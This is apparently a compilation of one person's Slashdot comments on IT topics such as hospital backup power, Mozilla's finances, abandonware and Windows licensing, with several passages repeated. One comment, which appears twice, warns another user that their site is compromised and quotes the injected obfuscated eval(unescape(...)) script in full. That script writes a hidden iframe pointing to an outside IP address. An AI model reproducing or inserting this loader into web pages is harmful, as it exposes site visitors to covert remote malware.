1. If a dialog box pops up, you can't move or resize the parent window. WHY ISN'T THIS FIXED YET? Because there's nothing to fix. Modal dialogs are just that: MODAL. YOU ARE NOT MEANT TO INTERACT WITH THE PROGRAM WHILE THEY ARE OPEN.
In a production system, bits don't rot. The only bits that rot are the ones fucked with by dipshits who think that having "support" is so important that it's worth upgrading part of a production system without checking to see if the fucking latest version of foo-are will work with the currently-installed versions of bar-ware, baz-ware, and quux-ware. Funny you should mention that. I got that sort of crap from a vendor on Friday, telling us to install a bunch of Oracle software on our server to support their non-standard developed software, and when I politely told them that would take us a couple of weeks (for, you know, TESTING and so on) they yelled at me that they're an Oracle partner and they know more than I do so I should just go ahead and do it. I pretty much politely told them to get fucked.
So it's not just the "suits" and your local "dipshit" that can be that bloody moronic, the vendors can be too.
3: Offer some way that BIOSes can store a flag in some non-erasable part of flash, where once the OS is activated once, it stays that way permanently, storing the CD key. Then, all it would take would be an install from normal CD or DVD media, and the OS would remember what version it is, and by default offer to install what the machine was licensed for. All x86 Macs have this functionality using a hardware TPM, so why not Windows? OEM copies supplied by "big names" (Acer, AsusTek, Dell, HP/Compaq, Packard Bell, and so on) already do this. The BIOS itself contains an indicator saying who the manufacturer is, and that BIOS is used as an "activation key" instead of activating online.
10: Customizable logon screens. I don't want everyone's picture coming up; I want to be able to have a Windows 2000 based text login, as well as be able to hide usernames in the graphical one. Easily done. Simply turn off "Fast User Switching" and turn on "Require users to press Ctrl+Alt+Del before logon"
I suppose it's worth pointing out that due to the lesser size of our facilities, our AC systems aren't as large as your average datacentre - the backup power (which I get the feeling "isn't your average UPS") might be able to sustain them (pretty sure the Air Con here isn't high voltage). Now, that said, it is possible that they do fail for the 30 seconds it takes (i.e. they're possibly on Emergency Power) for the generators to take over, I've never stood in the server room during an outage. Seeing that the door security system goes down during outages, I don't think the server room is accessible anyway (without the authorisation system up, the mag-locked doors wont open).
A good chunk of our servers do shut down during outages anyway (non-essential ones. QA, Training, UAT environments) so the AC load decreases hugely anyway.
Ok, I specifically said UPS power, as in it takes time to spinup the generators and switching from one source to the other does not always go perfectly in the real world. One factor is minimum cycle time on the compressors. The 3 minute time frame was from TFA which says that at a density of 5KVA per cabinet thermal shutdown can happen in 3 minutes due to thermal load. How long can it really take to bring your generators online? I ask because I work at a hospital, and we have three forms of power provisioned across the facility. Ordinary Power, in the case of a utility failure, is simply gone. This is used for unimportant things (the TVs in the lobby, most computers, main lighting, tea rooms, etc). Essential Power, which in the instance of utility failure is only out long enough for our generators to start, and feed the circuit. And Uninterrupted Power, which in case of utility failure is fed by battery backup until the generators start.
When we actually need to flick to generators, it takes them 30 seconds to start and take control of the power feed. Although our servers are on uninterrupted power (same as the Air Con) they could survive long enough for essential feed to take over if the Air Con wasn't on uninterrupted.
Is there any reason datacentres have a slacker design than us?
Ah, then this actually changes the whole interpretation dramatically. People here are talking about these figures as if they apply to a non-profit organisation, forgetting that Mozilla Corporation is a profit taking registered corporation and as such any talk about how they shouldn't be making profit is kind of moot - the non-profit doesn't make money. The tax-paying profit-taking corporation does.
Just so I can clear it up in my head, the Google contract pays Mozilla Corporation which funds Mozilla Foundation, right?
Wouldn't that be ironic. All the Slashdotters saying that they shut down because Microsoft gave them money, when the real reason was that Microsoft didn't give them money.
Well, yes, but their original point is sound. It seems that anyone who expresses even the slightest disagreement with Open Office (and the associated ODF) is immediately called down as a "MS Shill" or "Paid by Microsoft".
I highly doubt this is true in any case, let alone the borderline edge cases Slashdot keeps making unfounded accusations for.
I'm curious. If that's the financial state of Mozilla Foundation, what's Mozilla Corporation's figures like? I assume a lot (potentially even more than that).
The vast majority of ESA titles (sometimes they make it through, usually they disappear quickly) simply have a message saying that because it's an ESA title, they wont carry it.
Good on you if you can find one of the exceptions though.
Not true. Even Home of the Underdogs wont touch ESA stuff (Abandonware or no) because if they do, they get hit with a DMCA takedown. It's not free, it's still protected, and it's technically still piracy. If you applied that logic, people would go around pirating Commander Keen, calling it perfectly legit, and iD would not have bothered making it available again on Steam. As an example, of course.
They can't. I imagine that the changes it makes to the binary is its "anti-cheat" system. What, you expect them to package their private key with each update to that component so that the application can re-sign itself?
What should be happening is that Apple should change their operating system to not be so damn dense. There are potentially valid reasons an application could need to change itself (like an update) and that shouldn't stop it from even running.
I suggest you remove that URL from your signature, the last line (after the end of the HTML tag) of every page of your site is "eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%65%65%64%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%36%30%37%35%30%29%2b%27%66%61%62%5c%27%20%77%69%64%74%68%3d%37%35%30%20%68%65%69%67%68%74%3d%34%38%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); ".
Actually, you could happily write your entire script file on a single line, and you'd only need to put spaces between keywords. I think GP was referring to line breaks, which languages like Python and BASIC need, but languages like C, Pascal, and Javascript do not.
Governments (or more specifically, the governmental departments) are not immune to law. In most cases, they have limited exemption from certain laws (most governments, for example, exempt themselves from Discrimination laws as otherwise they could not legally offer pensions, etc) but you wont find any governments exempting themselves from copyright law. I know we have issues in our department with Microsoft breathing down the neck of one of our sister departments (work for the health ministry) because they don't have the appropriate license for Outlook Web Access. We aren't immune, even as a government entity. Remember, you could take the Internal Revenue Service, or I guess even the Police to court if they infringed on your rights. Microsoft can do the same, even in a country like Nigeria.
Uh, no. You still get multiplayer (even a games browser!) with Games for Windows Live games for free, the paid subscription only gets you things like Halo's skill-based matchmaking system. For free, you still get: Friends List, Text Chat, Voice Chat, Multiplayer, Game Server Browser, Updates, and so on.
According to MS, the free subscription gives you a Gamertag, Profile, Gamerscore (single player achievements only), Text and Voice chat, Friends List, and PC only multiplayer including Games Browser. Paying gets you Skill-based Matchmaking, Multiplayer achievements, and cross-platform (PC/Xbox360) gameplay.
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So it's not just the "suits" and your local "dipshit" that can be that bloody moronic, the vendors can be too.
It wont, but it'll play Microsoft own OTHER DRM ridden format: playready!
I think YOU mean (Continue) or (Cancel)
After all, everyone digitally signs their memes these days.
I suppose it's worth pointing out that due to the lesser size of our facilities, our AC systems aren't as large as your average datacentre - the backup power (which I get the feeling "isn't your average UPS") might be able to sustain them (pretty sure the Air Con here isn't high voltage). Now, that said, it is possible that they do fail for the 30 seconds it takes (i.e. they're possibly on Emergency Power) for the generators to take over, I've never stood in the server room during an outage. Seeing that the door security system goes down during outages, I don't think the server room is accessible anyway (without the authorisation system up, the mag-locked doors wont open).
A good chunk of our servers do shut down during outages anyway (non-essential ones. QA, Training, UAT environments) so the AC load decreases hugely anyway.
When we actually need to flick to generators, it takes them 30 seconds to start and take control of the power feed. Although our servers are on uninterrupted power (same as the Air Con) they could survive long enough for essential feed to take over if the Air Con wasn't on uninterrupted.
Is there any reason datacentres have a slacker design than us?
Well, Slashdot still makes jokes about Ballmer and chairs, so yes, those jokes are probably still used.
Correction there, Vista is not based on Server 2003. Vista is based on Server 2008. XP is based on Server 2003.
Ah, then this actually changes the whole interpretation dramatically. People here are talking about these figures as if they apply to a non-profit organisation, forgetting that Mozilla Corporation is a profit taking registered corporation and as such any talk about how they shouldn't be making profit is kind of moot - the non-profit doesn't make money. The tax-paying profit-taking corporation does.
Just so I can clear it up in my head, the Google contract pays Mozilla Corporation which funds Mozilla Foundation, right?
Wouldn't that be ironic. All the Slashdotters saying that they shut down because Microsoft gave them money, when the real reason was that Microsoft didn't give them money.
Well, yes, but their original point is sound. It seems that anyone who expresses even the slightest disagreement with Open Office (and the associated ODF) is immediately called down as a "MS Shill" or "Paid by Microsoft".
I highly doubt this is true in any case, let alone the borderline edge cases Slashdot keeps making unfounded accusations for.
I'm curious. If that's the financial state of Mozilla Foundation, what's Mozilla Corporation's figures like? I assume a lot (potentially even more than that).
Indeed. Microsoft actually INVENTED the concept (granted they only hacked it together because they wanted it for Outlook Web Access).
It's official. The Exchange team invented Web 2.0! (Netcraft confirms it)
Ugh. That's "my life for Aiur" (actual spelling of Protoss homeworld notwithstanding).
The plural of anecdote is not fact.
The vast majority of ESA titles (sometimes they make it through, usually they disappear quickly) simply have a message saying that because it's an ESA title, they wont carry it.
Good on you if you can find one of the exceptions though.
Not true. Even Home of the Underdogs wont touch ESA stuff (Abandonware or no) because if they do, they get hit with a DMCA takedown. It's not free, it's still protected, and it's technically still piracy. If you applied that logic, people would go around pirating Commander Keen, calling it perfectly legit, and iD would not have bothered making it available again on Steam. As an example, of course.
They can't. I imagine that the changes it makes to the binary is its "anti-cheat" system. What, you expect them to package their private key with each update to that component so that the application can re-sign itself?
What should be happening is that Apple should change their operating system to not be so damn dense. There are potentially valid reasons an application could need to change itself (like an update) and that shouldn't stop it from even running.
No, but eliminating stupid motherfuckers who keep clicking on the spam websites might help.
Well, that eval() line is enclosed in script tags on your site. Slashdot removed the script tags, rather than escaping them.
I suggest you remove that URL from your signature, the last line (after the end of the HTML tag) of every page of your site is "eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%65%65%64%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%38%31%2e%32%39%2e%32%34%31%2e%37%30%2f%6e%65%77%2f%63%6f%75%6e%74%65%72%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%33%36%30%37%35%30%29%2b%27%66%61%62%5c%27%20%77%69%64%74%68%3d%37%35%30%20%68%65%69%67%68%74%3d%34%38%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); ".
You've been rooted!
Actually, you could happily write your entire script file on a single line, and you'd only need to put spaces between keywords. I think GP was referring to line breaks, which languages like Python and BASIC need, but languages like C, Pascal, and Javascript do not.
Governments (or more specifically, the governmental departments) are not immune to law. In most cases, they have limited exemption from certain laws (most governments, for example, exempt themselves from Discrimination laws as otherwise they could not legally offer pensions, etc) but you wont find any governments exempting themselves from copyright law. I know we have issues in our department with Microsoft breathing down the neck of one of our sister departments (work for the health ministry) because they don't have the appropriate license for Outlook Web Access. We aren't immune, even as a government entity. Remember, you could take the Internal Revenue Service, or I guess even the Police to court if they infringed on your rights. Microsoft can do the same, even in a country like Nigeria.
Uh, no. You still get multiplayer (even a games browser!) with Games for Windows Live games for free, the paid subscription only gets you things like Halo's skill-based matchmaking system. For free, you still get: Friends List, Text Chat, Voice Chat, Multiplayer, Game Server Browser, Updates, and so on.
Or, if you don't believe me, check out this page.
According to MS, the free subscription gives you a Gamertag, Profile, Gamerscore (single player achievements only), Text and Voice chat, Friends List, and PC only multiplayer including Games Browser. Paying gets you Skill-based Matchmaking, Multiplayer achievements, and cross-platform (PC/Xbox360) gameplay.
That's nothing. Screw up your computer here and we reimage it (SMS Server) and invoice your manager $500 for it. That's one way to increase IT budget.